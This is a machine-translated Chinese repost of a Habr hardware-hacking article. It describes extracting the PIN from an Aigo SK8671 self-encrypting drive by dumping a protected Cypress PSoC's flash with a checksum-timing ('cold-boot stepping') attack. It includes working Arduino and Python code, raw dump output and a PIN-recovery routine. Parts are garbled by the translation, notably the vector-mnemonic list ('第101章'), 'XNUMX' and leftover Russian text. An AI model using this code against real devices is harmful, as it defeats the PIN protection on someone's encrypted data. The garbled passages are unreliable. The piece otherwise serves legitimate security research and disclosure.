逆向和破解愛國者自加密外接硬碟。 第 2 部分:從 Cypress PSoC 中轉儲

這是入侵外部自加密磁碟機的文章的第二部分,也是最後一部分。 提醒一下,最近一位同事為我帶來了一塊愛國者(愛國者)SK8671硬碟,我決定對其進行逆向,現在我分享它的結果。 在進一步閱讀之前,請務必閱讀 第一部分 文章。

4. 我們開始從內部 PSoC 快閃磁碟機進行轉儲
5.ISSP協議
– 5.1。 什麼是 ISSP
– 5.2。 揭秘向量
– 5.3。 與 PSoC 通信
– 5.4。 片上寄存器的識別
– 5.5。 安全位
6. 第一次(失敗)攻擊:ROMX
7. 第二次攻擊:冷啟動跟踪
– 7.1。 執行
– 7.2。 讀取結果
– 7.3。 Flash二進位重建
– 7.4。 尋找PIN碼儲存位址
– 7.5。 清理126號街區
– 7.6。 PIN 碼恢復
8. 下一步是什麼?
9.Заключение

逆向和破解愛國者自加密外接硬碟。 第 2 部分:從 Cypress PSoC 中轉儲


4. 我們開始從內部 PSoC 快閃磁碟機進行轉儲

因此,一切都表明(正如我們在[第一部分]()中所確定的那樣)PIN 碼存儲在 PSoC 的閃存深度中。 因此,我們需要讀取這些flash深度。 前面必要的工作:

  • 控制與微控制器的「通訊」;
  • 找到一種方法來檢查此「通訊」是否受到保護以防止從外部讀取;
  • 找到繞過保護的方法。

有兩個地方可以找到有效的 PIN 碼:

  • 內部快閃記憶體;
  • SRAM,其中可以儲存 PIN 碼,以便將其與使用者輸入的 PIN 碼進行比較。

展望未來,我會注意到,在逆轉 ISSP 協議未記錄的功能之後,我仍然設法轉儲內部 PSoC 閃存驅動器 - 使用稱為“冷啟動跟踪”的硬體攻擊繞過其安全系統。 這使我能夠直接轉儲實際的 PIN 碼。

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

最終程式碼:

5.ISSP協議

5.1. 什麼是 ISSP

與微控制器的「通訊」可能意味著不同的意義:從「供應商到供應商」到使用串行協定(例如 Microchip PIC 的 ICSP)進行互動。

賽普拉斯為此擁有自己的專有協議,稱為 ISSP(系統內串行程式設計協議),部分描述見 技術規格. 專利US7185162 也給了一些資訊。 還有一個開源等效項,稱為 HSSP(稍後我們將使用它)。 ISSP 的工作原理如下:

  • 重新啟動 PSoC;
  • 將幻數輸出到該 PSoC 的串列資料接腳; 進入外部編程模式;
  • 發送命令,它們是稱為“向量”的長位元串。

ISSP 文件僅為少數命令定義了這些向量:

  • 初始化-1
  • 初始化-2
  • 初始化-3(3V 和 5V 選項)
  • ID設定
  • 讀取ID字
  • 設定區塊編號:10011111010dddddddd111,其中dddddddd=區塊#
  • 大量擦除
  • 程式區塊
  • 驗證設定
  • 讀取位元組:10110aaaaaaZDDDDDDDDZ1,其中 DDDDDDDD = 資料輸出,aaaaaa = 位址(6 位元)
  • 寫入位元組:10010aaaaaadddddddd111,其中 dddddddd = 資料輸入,aaaaaa = 位址(6 位元)
  • SECURE
  • 校驗和設定
  • 讀取校驗和:10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1,其中 DDDDDDDDDDDDDDDD = 資料輸出:設備校驗和
  • 擦除區塊

例如,Initialize-2 的向量:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

所有向量都具有相同的長度:22 位元。 HSSP 文件提供了一些有關 ISSP 的附加資訊:“ISSP 向量只不過是表示一組指令的位元序列。”

5.2. 揭秘向量

讓我們弄清楚這裡發生了什麼。 最初,我假設這些相同的向量是 M8C 指令的原始版本,但在檢查這個假設後,我發現操作的操作碼不符。

然後我用谷歌搜尋上面的向量並發現 在一項研究中,作者雖然沒有詳細介紹,但給了一些有用的提示:「每個指令都以對應於四個助記符之一的三位開頭(從RAM 讀取、寫入RAM、讀取暫存器、寫入暫存器)。 然後是 8 個位址位,接著是 8 個資料位(讀或寫),最後是 XNUMX 個停止位。”

然後我能夠從 Supervisory ROM (SROM) 部分收集到一些非常有用的信息。 技術手冊。 SROM 是 PSoC 中的硬編碼 ROM,為使用者空間中執行的程式碼提供實用函數(與 Syscall 類似):

  • 00h:SWBoot復位
  • 01h:讀區塊
  • 02h:寫塊
  • 03h:擦除區塊
  • 06h:表讀取
  • 07h:校驗和
  • 08h:校準0
  • 09h:校準1

透過將向量名稱與 SROM 函數進行比較,我們可以將該協定支援的各種操作對應到預期的 SROM 參數。 因此,我們可以解碼 ISSP 向量的前三名:

  • 100 => “雷姆”
  • 第101章
  • 第110章
  • 第111章

然而,只有透過與 PSoC 直接通訊才能獲得對片上流程的完整了解。

5.3. 與 PSoC 通信

由於德克彼得勞茨基已經 移植的 Cypress在Arduino上的HSSP程式碼,我使用Arduino Uno連接到鍵盤板的ISSP連接器。

請注意,在我的研究過程中,我對 Dirk 的程式碼進行了相當多的更改。 你可以在GitHub上找到我的修改: 這裡 以及我的存儲庫中用於與 Arduino 通信的相應 Python 腳本 cypress_psoc_tools.

因此,在使用 Arduino 時,我首先僅使用「官方」向量進行「通訊」。 我嘗試使用 VERIFY 命令讀取內部 ROM。 正如預期的那樣,我無法做到這一點。 可能是由於閃存驅動器內部啟動了讀取保護位。

然後,我創建了一些自己的簡單向量,用於寫入和讀取記憶體/寄存器。 請注意,即使閃存驅動器受到保護,我們也可以讀取整個 SROM!

5.4. 片上寄存器的識別

在查看「反組譯」向量後,我發現該裝置使用未記錄的暫存器(0xF8-0xFA)來指定 M8C 操作碼,這些操作碼直接執行,繞過保護。 這使我能夠運行各種操作碼,例如“ADD”、“MOV A, X”、“PUSH”或“JMP”。 感謝他們(透過查看它們對暫存器的副作用),我能夠確定哪些未記錄的暫存器實際上是常規暫存器(A、X、SP 和 PC)。

結果,HSSP_disas.rb 工具產生的「反彙編」程式碼如下所示(為了清楚起見,我加入了註解):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. 安全位

在這個階段,我已經可以與 PSoC 進行通信,但我仍然沒有有關閃存驅動器安全位的可靠資訊。 令我感到非常驚訝的是,Cypress 沒有為設備用戶提供任何方法來檢查保護是否已啟動。 我深入谷歌終於了解到Cypress提供的HSSP代碼是在Dirk發布他的修改後更新的。 所以! 這個新向量出現了:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

使用此向量(請參閱 psoc.py 中的 read_security_data),我們取得 SRAM 中 0x80 處的所有安全位,其中每個受保護區塊都有兩個位元。

結果令人沮喪:一切都在「停用外部讀寫」模式下受到保護。 因此,我們不僅無法從隨身碟讀取任何內容,也無法寫入任何內容(例如,在那裡安裝 ROM 轉儲程式)。 而解除保護的唯一方法就是徹底擦除整個晶片。 🙁

6. 第一次(失敗)攻擊:ROMX

但是,我們可以嘗試以下技巧:既然我們有能力執行任意操作碼,為什麼不執行用於讀取快閃記憶體的ROMX呢? 這種方法成功的機會很大。 因為從SROM(向量使用的)讀取資料的ReadBlock函數會檢查是否是從ISSP呼叫的。 然而,ROMX 操作碼可能沒有這樣的檢查。 這是 Python 程式碼(在 Arduino 程式碼中加入了一些輔助類別之後):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

不幸的是這個程式碼不起作用。 🙁 或者更確切地說它可以工作,但是在輸出中我們得到了自己的操作碼(0x28 0x30 0x40)! 我不認為設備的相應功能是讀取保護的一個要素。 這更像是工程技巧:當執行外部操作碼時,ROM 匯流排被重新導向到暫存緩衝區。

7. 第二次攻擊:冷啟動跟踪

由於 ROMX 技巧不起作用,我開始考慮該技巧的另一種變體 - 出版物中描述 “對微控制器的韌體保護透露太多資訊”.

7.1. 執行

ISSP 文件為 CHECKSUM-SETUP 提供了以下向量:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

這本質上調用了 SROM 函數 0x07,如文檔中所示(斜體是我的):

此函數校驗和驗證。 它從零開始計算一個快閃記憶體群組中使用者指定區塊數量的 16 位元校驗和。 BLOCKID 參數用於傳遞計算校驗和時將使用的區塊數。 值“1”將只計算區塊零的校驗和; 然而 「0」將導致計算快閃記憶體組的所有 256 個區塊的總校驗和。 16 位元校驗和透過 KEY1 和 KEY2 返回。 KEY1參數儲存校驗和的低8位,KEY2參數儲存高8位。 對於具有多個快閃記憶體組的設備,將為每個快閃記憶體組單獨呼叫校驗和函數。 它將使用的儲存體編號由 FLS_PR1 暫存器設定(透過設定其中與目標快閃記憶體儲存體相對應的位元)。

請注意,這是一個簡單的校驗和:位元組只是一個接一個地添加; 沒有花俏的 CRC 怪癖。 另外,知道M8C核心有一組非常小的暫存器,我假設在計算校驗和時,中間值將被記錄在最終將輸出到輸出的相同變數中:KEY1(0xF8)/ KEY2( 0xF9)。

所以理論上我的攻擊是這樣的:

  1. 我們透過 ISSP 連接。
  2. 我們使用 CHECKSUM-SETUP 向量開始校驗計算。
  3. 我們在指定時間 T 後重新啟動處理器。
  4. 我們讀取 RAM 來取得目前的校驗和 C.
  5. 重複步驟 3 和 4,每次稍微增加 T。
  6. 我們透過從目前校驗和 C 中減去先前的校驗和 C 來從快閃磁碟機復原資料。

然而,有一個問題:重啟後我們必須發送的Initialize-1向量會覆蓋KEY1和KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

這段程式碼透過呼叫 Calibrate1(SROM 函數 9)覆蓋了我們寶貴的校驗和...也許我們可以只發送幻數(從上面程式碼的開頭)進入程式模式,然後讀取 SRAM? 是的,它有效! 實現此攻擊的 Arduino 程式碼非常簡單:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. 讀取 checkum_delay。
  2. 運行校驗和計算 (send_checksum_v)。
  3. 等待指定時間; 考慮到以下陷阱:
    • 我浪費了很多時間直到我發現結果是什麼 延遲微秒 僅當延遲不超過 16383 μs 時才能正常工作;
    • 然後再次殺死相同的時間,直到我發現如果將 0 作為輸入傳遞給它,delayMicroseconds 就會完全錯誤地工作!
  4. 將 PSoC 重新啟動至程式模式(我們僅發送幻數,而不發送初始化向量)。

最終的Python程式碼:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

簡而言之,這段程式碼的作用是:

  1. 重新啟動 PSoC(並向其發送一個幻數)。
  2. 發送完整的初始化向量。
  3. 呼叫 Arduino 函數 Cmnd_STK_START_CSUM (0x85),其中以微秒為單位的延遲作為參數傳遞。
  4. 讀取校驗和(0xF8 和 0xF9)和未記錄的暫存器 0x​​F1。

程式碼在 10 微秒內執行 1 次。 0xF1 包含在此處,因為它是計算校驗和時唯一發生變更的暫存器。 也許它是算術邏輯單元使用的某種臨時變數。 請注意,當 Arduino 停止顯示生命跡象時,我使用 picocom 重置 Arduino(不知道為什麼)。

7.2. 讀取結果

Python 腳本的結果如下所示(為了方便閱讀而進行了簡化):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

話雖這麼說,我們有一個問題:由於我們使用實際的校驗和進行操作,因此空位元組不會更改讀取的值。 然而,由於整個計算過程(8192 位元組)需要0,1478 秒(每次運行時略有變化),相當於每個位元組大約18,04 μs,因此我們可以利用這段時間在適當的時間檢查校驗和值。 對於第一次運行,所有內容都很容易讀取,因為計算過程的持續時間總是幾乎相同。 然而,此轉儲的結束不太準確,因為每次運行的「微小計時偏差」加起來變得很重要:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

即每微秒延遲就有 10 次轉儲。 轉儲快閃磁碟機的全部 8192 位元組的總操作時間約為 48 小時。

7.3. Flash二進位重建

我還沒有完成編寫將完全重建閃存驅動器的程式碼的程式碼,考慮到所有的時間偏差。 不過,我已經恢復了這段程式碼的開頭。 為了確保我做得正確,我使用 m8cdis 對其進行了反彙編:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

看起來很合理!

7.4. 尋找PIN碼儲存位址

現在我們可以在需要的時候讀取校驗和,我們可以輕鬆地檢查它在以下情況下如何以及在哪裡發生變化:

  • 輸入錯誤的 PIN 碼;
  • 變更 PIN 碼。

首先,為了找到大致的儲存位址,我在重新啟動後以 10 毫秒為增量進行了校驗和轉儲。 然後我輸入了錯誤的 PIN 碼並做了同樣的事情。

結果並不令人愉快,因為有很多變化。 但最終我能夠確定校驗和在 120000 µs 到 140000 µs 的延遲之間發生了變化。 但是我在那裡顯示的“pincode”完全不正確——這是由於delayMicroseconds 過程的一個產物,當將0 傳遞給它時,它會做出奇怪的事情。

然後,花了將近 3 個小時後,我想起 SROM 系統呼叫 CheckSum 接收一個參數作為輸入,該參數指定校驗和的區塊數! 那。 我們可以輕鬆定位 PIN 碼的儲存位址和「錯誤嘗試」計數器,精度高達 64 位元組區塊。

我的初始運行產生了以下結果:

逆向和破解愛國者自加密外接硬碟。 第 2 部分:從 Cypress PSoC 中轉儲

然後我將 PIN 碼從“123456”更改為“1234567”並獲得:

逆向和破解愛國者自加密外接硬碟。 第 2 部分:從 Cypress PSoC 中轉儲

因此,PIN 碼和錯誤嘗試計數器似乎儲存在第 126 號區塊中。

7.5。 清理126號街區

在我的完整轉儲中,從校驗和計算開始,區塊 #126 應該位於大約 125x64x18 = 144000μs 的位置,而且看起來很合理。 然後,在手動篩選出大量無效轉儲(由於「微小時序偏差」的累積)之後,我最終得到了這些位元組(延遲為 145527 μs):

逆向和破解愛國者自加密外接硬碟。 第 2 部分:從 Cypress PSoC 中轉儲

很明顯,PIN 碼是以未加密的形式儲存的! 當然,這些值不是用 ASCII 代碼編寫的,但事實證明,它們反映了從電容式鍵盤獲得的讀數。

最後,我運行了更多測試來查找錯誤嘗試計數器的儲存位置。 結果如下:

逆向和破解愛國者自加密外接硬碟。 第 2 部分:從 Cypress PSoC 中轉儲

0xFF - 表示“15 次嘗試”,並且隨著每次失敗的嘗試而減少。

7.6。 PIN 碼恢復

這是我的醜陋程式碼,將以上內容組合在一起:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

這是其執行結果:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

萬歲! 作品!

請注意,我使用的延遲值可能與我使用的特定 PSoC 相關。

8. 下一步是什麼?

那麼,讓我們在 Aigo 驅動的背景下總結一下 PSoC 方面的情況:

  • 即使 SRAM 被讀取保護,我們也可以讀取它;
  • 我們可以透過使用冷啟動追蹤攻擊並直接讀取 PIN 碼來繞過防刷卡保護。

然而,由於同步問題,我們的攻擊存在一些缺陷。 可以改進如下:

  • 編寫一個實用程式來正確解碼「冷啟動追蹤」攻擊所獲得的輸出資料;
  • 使用 FPGA 小工具創建更精確的時間延遲(或使用 Arduino 硬體計時器);
  • 嘗試另一個攻擊:故意輸入錯誤的PIN碼,重新啟動並轉儲RAM,希望將正確的PIN碼保存在RAM中以供比較。 然而,這在 Arduino 上實現起來並不容易,因為 Arduino 訊號電平為 5 伏,而我們正在檢查的電路板可使用 3,3 伏特訊號。

可以嘗試的一件有趣的事情是利用電壓位準來繞過讀取保護。 如果這種方法有效,我們將能夠從閃存驅動器獲取絕對準確的數據 - 而不是依賴讀取具有不精確時延遲的校驗和。

由於 SROM 可能透過 ReadBlock 系統呼叫讀取保護位,因此我們可以做同樣的事情 描述 在 Dmitry Nedospasov 的部落格上 – 會議上宣布重新實施 Chris Gerlinski 的攻擊 “2017 年布魯塞爾重建”.

可以做的另一件有趣的事情是從晶片中磨掉外殼:獲取 SRAM 轉儲,識別未記錄的系統呼叫和漏洞。

9.Заключение

因此,該驅動器的保護還有很多不足之處,因為它使用常規(非“強化”)微控制器來存儲 PIN 碼……另外,我還沒有研究過數據的處理情況在此設備上加密!

你能為愛國者推薦什麼? 在分析了幾種加密硬碟型號後,我在 2015 年做了 介紹 在 SyScan 上,他檢查了多個外部 HDD 驅動器的安全性問題,並就其中可以改進的方面提出了建議。 🙂

我花了兩個週末和幾個晚上做這項研究。 總共約40小時。 從最開始(當我打開磁碟時)計數到最後(PIN 碼轉儲)。 同樣的 40 小時包括我寫這篇文章的時間。 這是一次非常令人興奮的旅行。

來源: www.habr.com

添加評論